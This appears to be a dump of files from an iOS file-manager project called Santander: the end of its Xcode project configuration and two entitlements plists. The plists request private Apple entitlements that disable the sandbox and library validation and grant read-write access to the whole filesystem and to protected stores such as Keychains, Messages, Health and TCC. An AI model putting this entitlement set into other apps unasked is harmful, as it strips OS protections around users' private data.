EXECUTABLE_SUFFIX = ""; IPHONEOS_DEPLOYMENT_TARGET = 14.0; MACH_O_TYPE = mh_execute; OTHER_LDFLAGS = "-ObjC"; PRODUCT_NAME = "$(TARGET_NAME)"; SKIP_INSTALL = YES; SWIFT_VERSION = 5.0; TARGETED_DEVICE_FAMILY = "1,2"; }; name = Release; }; /* End XCBuildConfiguration section */ /* Begin XCConfigurationList section */ 3789B5D728622B7A00058688 /* Build configuration list for PBXProject "Santander" */ = { isa = XCConfigurationList; buildConfigurations = ( 3789B5EE28622B7C00058688 /* Debug */, 3789B5EF28622B7C00058688 /* Release */, ); defaultConfigurationIsVisible = 0; defaultConfigurationName = Release; }; 3789B5F028622B7C00058688 /* Build configuration list for PBXNativeTarget "Santander" */ = { isa = XCConfigurationList; buildConfigurations = ( 3789B5F128622B7C00058688 /* Debug */, 3789B5F228622B7C00058688 /* Release */, ); defaultConfigurationIsVisible = 0; defaultConfigurationName = Release; }; CEC433C428FF20B400C18BD8 /* Build configuration list for PBXNativeTarget "RootHelper" */ = { isa = XCConfigurationList; buildConfigurations = ( CEC433C528FF20B400C18BD8 /* Debug */, CEC433C628FF20B400C18BD8 /* Release */, ); defaultConfigurationIsVisible = 0; defaultConfigurationName = Release; }; /* End XCConfigurationList section */ /* Begin XCRemoteSwiftPackageReference section */ CE2D13D6291D8EE50023F16D /* XCRemoteSwiftPackageReference "swift-argument-parser" */ = { isa = XCRemoteSwiftPackageReference; repositoryURL = "https://github.com/apple/swift-argument-parser.git"; requirement = { kind = upToNextMajorVersion; minimumVersion = 1.0.0; }; }; CEA33B35291619EB00DD7BAC /* XCRemoteSwiftPackageReference "SantanderWrappers" */ = { isa = XCRemoteSwiftPackageReference; repositoryURL = "https://github.com/SerenaKit/SantanderWrappers"; requirement = { branch = main; kind = branch; }; }; CED78C4628FDEC610097D2C5 /* XCRemoteSwiftPackageReference "SantanderWrappers" */ = { isa = XCRemoteSwiftPackageReference; repositoryURL = "https://github.com/SerenaKit/SantanderWrappers"; requirement = { branch = main; kind = branch; }; }; CEDAF41E28C36B2900DF03E6 /* XCRemoteSwiftPackageReference "Runestone" */ = { isa = XCRemoteSwiftPackageReference; repositoryURL = "https://github.com/simonbs/Runestone"; requirement = { kind = upToNextMajorVersion; minimumVersion = 0.2.1; }; }; /* End XCRemoteSwiftPackageReference section */ /* Begin XCSwiftPackageProductDependency section */ CE2D13D7291D8EE50023F16D /* ArgumentParser */ = { isa = XCSwiftPackageProductDependency; package = CE2D13D6291D8EE50023F16D /* XCRemoteSwiftPackageReference "swift-argument-parser" */; productName = ArgumentParser; }; CE2D13D9291D8F210023F16D /* FSOperations */ = { isa = XCSwiftPackageProductDependency; package = CEA33B35291619EB00DD7BAC /* XCRemoteSwiftPackageReference "SantanderWrappers" */; productName = FSOperations; }; CE2D13DD291D8F8A0023F16D /* ArgumentParser */ = { isa = XCSwiftPackageProductDependency; package = CE2D13D6291D8EE50023F16D /* XCRemoteSwiftPackageReference "swift-argument-parser" */; productName = ArgumentParser; }; CE7E02C428FFF44E0046A7D4 /* FSOperations */ = { isa = XCSwiftPackageProductDependency; package = CED78C4628FDEC610097D2C5 /* XCRemoteSwiftPackageReference "SantanderWrappers" */; productName = FSOperations; }; CE7E02D628FFF8020046A7D4 /* AssetCatalogWrapper */ = { isa = XCSwiftPackageProductDependency; package = CED78C4628FDEC610097D2C5 /* XCRemoteSwiftPackageReference "SantanderWrappers" */; productName = AssetCatalogWrapper; }; CEA33B36291619EB00DD7BAC /* ApplicationsWrapper */ = { isa = XCSwiftPackageProductDependency; package = CEA33B35291619EB00DD7BAC /* XCRemoteSwiftPackageReference "SantanderWrappers" */; productName = ApplicationsWrapper; }; CEA33B38291619EB00DD7BAC /* AssetCatalogWrapper */ = { isa = XCSwiftPackageProductDependency; package = CEA33B35291619EB00DD7BAC /* XCRemoteSwiftPackageReference "SantanderWrappers" */; productName = AssetCatalogWrapper; }; CEA33B3A291619EB00DD7BAC /* CompressionWrapper */ = { isa = XCSwiftPackageProductDependency; package = CEA33B35291619EB00DD7BAC /* XCRemoteSwiftPackageReference "SantanderWrappers" */; productName = CompressionWrapper; }; CEA33B3E291619EB00DD7BAC /* FSOperations */ = { isa = XCSwiftPackageProductDependency; package = CEA33B35291619EB00DD7BAC /* XCRemoteSwiftPackageReference "SantanderWrappers" */; productName = FSOperations; }; CEA33B40291619EB00DD7BAC /* NSTask */ = { isa = XCSwiftPackageProductDependency; package = CEA33B35291619EB00DD7BAC /* XCRemoteSwiftPackageReference "SantanderWrappers" */; productName = NSTask; }; CEDAF41F28C36B2900DF03E6 /* Runestone */ = { isa = XCSwiftPackageProductDependency; package = CEDAF41E28C36B2900DF03E6 /* XCRemoteSwiftPackageReference "Runestone" */; productName = Runestone; }; CEE06A36291E1E0A00DA8C75 /* CompressionWrapper */ = { isa = XCSwiftPackageProductDependency; package = CEA33B35291619EB00DD7BAC /* XCRemoteSwiftPackageReference "SantanderWrappers" */; productName = CompressionWrapper; }; CEE9B2D729C4590E00D6C826 /* ApplicationsWrapper */ = { isa = XCSwiftPackageProductDependency; package = CEA33B35291619EB00DD7BAC /* XCRemoteSwiftPackageReference "SantanderWrappers" */; productName = ApplicationsWrapper; }; CEE9B2DB29C4592700D6C826 /* NSTask */ = { isa = XCSwiftPackageProductDependency; package = CEA33B35291619EB00DD7BAC /* XCRemoteSwiftPackageReference "SantanderWrappers" */; productName = NSTask; }; /* End XCSwiftPackageProductDependency section */ }; rootObject = 3789B5D428622B7A00058688 /* Project object */; } ================================================ FILE: entitlements-TS.plist ================================================ platform-application get-task-allow com.apple.private.security.container-required com.apple.security.exception.files.absolute-path.read-write / com.apple.private.security.no-container com.apple.security.app-sandbox com.apple.security.iokit-user-client-class IOUserClient com.apple.private.mobileinstall.allowedSPI Uninstall UninstallForLaunchServices Lookup com.apple.private.persona-mgmt com.apple.private.security.system-application com.apple.private.security.container-manager com.apple.private.MobileContainerManager.allowed com.apple.private.security.storage.adprivacyd com.apple.private.security.storage.amfid com.apple.private.security.storage.AppBundles com.apple.private.security.storage.AppDataContainers com.apple.private.security.storage.automation-mode com.apple.private.security.storage.Biome com.apple.private.security.storage.Calendar com.apple.private.security.storage.CallHistory com.apple.private.security.storage.CarrierBundles com.apple.private.security.storage.chronod com.apple.private.security.storage.CloudDocsDB com.apple.private.security.storage.CloudKit com.apple.private.security.storage.containers com.apple.private.security.storage.CoreFollowUp com.apple.private.security.storage.CoreKnowledge com.apple.private.security.storage.Cryptex com.apple.private.security.storage.demo_backup com.apple.private.security.storage.DocumentRevisions com.apple.private.security.storage.DumpPanic com.apple.private.security.storage.ExposureNotification com.apple.private.security.storage.FaceTime com.apple.private.security.storage.familycircled com.apple.private.security.storage.FindMy com.apple.private.security.storage.fpsd com.apple.private.security.storage.Health com.apple.private.security.storage.HomeAI com.apple.private.security.storage.HomeKit com.apple.private.security.storage.iCloudDrive com.apple.private.security.storage.idcredd com.apple.private.security.storage.IdentityServices com.apple.private.security.storage.kbd com.apple.private.security.storage.Keychains com.apple.private.security.storage.Lockdown com.apple.private.security.storage.Mail com.apple.private.security.storage.Messages com.apple.private.security.storage.MessagesMetaData com.apple.private.security.storage.MobileContainerManager com.apple.private.security.storage.MobileDocuments com.apple.private.security.storage.MobileIdentityService com.apple.private.security.storage.mobilesync com.apple.private.security.storage.multimodalsearchd com.apple.private.security.storage.NanoTimeKit.FaceSupport com.apple.private.security.storage.News com.apple.private.security.storage.Notes com.apple.private.security.storage.Photos com.apple.private.security.storage.PhotosLibraries com.apple.private.security.storage.pipelined com.apple.private.security.storage.preferences com.apple.private.security.storage.PrivacyAccounting com.apple.private.security.storage.Safari com.apple.private.security.storage.SearchParty com.apple.private.security.storage.SecureElementService com.apple.private.security.storage.SensorKit com.apple.private.security.storage.SFAnalytics com.apple.private.security.storage.SiriInference com.apple.private.security.storage.SiriReferenceResolution com.apple.private.security.storage.SiriVocabulary com.apple.private.security.storage.SoC com.apple.private.security.storage.SpeechPersonalizedLM com.apple.private.security.storage.Spotlight com.apple.private.security.storage.StatusKit com.apple.private.security.storage.Stocks com.apple.private.security.storage.Suggestions com.apple.private.security.storage.SymptomFramework com.apple.private.security.storage.sysdagnose.ScreenshotServicesService com.apple.private.security.storage.TCC com.apple.private.security.storage.TimeMachine com.apple.private.security.storage.triald com.apple.private.security.storage.trustd com.apple.private.security.storage.trustd-private com.apple.private.security.storage.universalaccess com.apple.private.security.storage.Voicemail com.apple.private.security.storage.Wireless com.apple.private.security.disk-device-access com.apple.rootless.storage.ane_model_cache com.apple.rootless.storage.apfs_boot_mount com.apple.rootless.storage.clientScripter com.apple.rootless.storage.com.apple.mediaanalysisd com.apple.rootless.storage.com.apple.MobileAsset.CarPlayAppBlacklist com.apple.rootless.storage.com.apple.MobileAsset.DeviceCheck com.apple.rootless.storage.com.apple.MobileAsset.DictionaryServices.dictionary2 com.apple.rootless.storage.com.apple.MobileAsset.DuetExpertCenterAsset com.apple.rootless.storage.com.apple.MobileAsset.EmbeddedNL com.apple.rootless.storage.com.apple.MobileAsset.Font5 com.apple.rootless.storage.com.apple.MobileAsset.Font6 com.apple.rootless.storage.com.apple.MobileAsset.HealthKt.FeatureAvailability com.apple.rootless.storage.com.apple.MobileAsset.HomeKit com.apple.rootless.storage.com.apple.MobileAsset.MacinTalkVoiceAssets com.apple.rootless.storage.com.apple.MobileAsset.MailDynamicData com.apple.rootless.storage.com.apple.MobileAsset.MXLongFormVideoApps com.apple.rootless.storage.com.apple.MobileAsset.network.networknomicon com.apple.rootless.storage.com.apple.MobileAsset.PKITrustSupplementals com.apple.rootless.storage.com.apple.MobileAsset.SharingDeviceAssets com.apple.rootless.storage.com.apple.MobileAsset.SiriShortcutsMobileAsset com.apple.rootless.storage.com.apple.MobileAsset.TimeZoneUpdate com.apple.rootless.storage.com.apple.MobileAsset.VoiceServices.CombinedVocalizerVoices com.apple.rootless.storage.com.apple.MobileAsset.VoiceServices.CustomVoice com.apple.rootless.storage.com.apple.MobileAsset.VoiceServices.GryphonVoice com.apple.rootless.storage.com.apple.MobileAsset.VoiceServicesVocalizerVoice com.apple.rootless.storage.com.apple.MobileAsset.VoiceServices.VoiceResources com.apple.rootless.storage.com.apple.MobileAsset.VoiceTriggerAssets com.apple.rootless.storage.CoreAnalytics com.apple.rootless.storage.coreduet_knowledge_store com.apple.rootless.storage.coreidvd com.apple.rootless.storage.coreknowledge com.apple.rootless.storage.CoreRoutine com.apple.rootless.storage.CoreSpeech com.apple.rootless.storage.dmd com.apple.rootless.storage.dprivacyd_storage com.apple.rootless.storage.ExtensibleSSO com.apple.rootless.storage.facekit com.apple.rootless.storage.fpsd com.apple.rootless.storage.MobileStorageMounter com.apple.rootless.storage.MusicApp com.apple.rootless.storage.nsurlsessiond com.apple.rootless.storage.pearl-field-diagnostics com.apple.rootless.storage.proactivepredictions com.apple.rootless.storage.QLThumbnailCache com.apple.rootless.storage.remotemanagementd com.apple.rootless.storage.RoleAccountStaging com.apple.rootless.storage.sensorkit com.apple.rootless.storage.shortcuts com.apple.rootless.storage.siriremembers com.apple.rootless.storage.timezone com.apple.rootless.storage.triald com.apple.rootless.storage.voiceshortcuts ================================================ FILE: entitlements.plist ================================================ platform-application com.apple.private.skip-library-validation com.apple.private.security.no-container com.apple.security.app-sandbox get-task-allow com.apple.security.iokit-user-client-class IOUserClient com.apple.private.mobileinstall.allowedSPI Uninstall UninstallForLaunchServices Lookup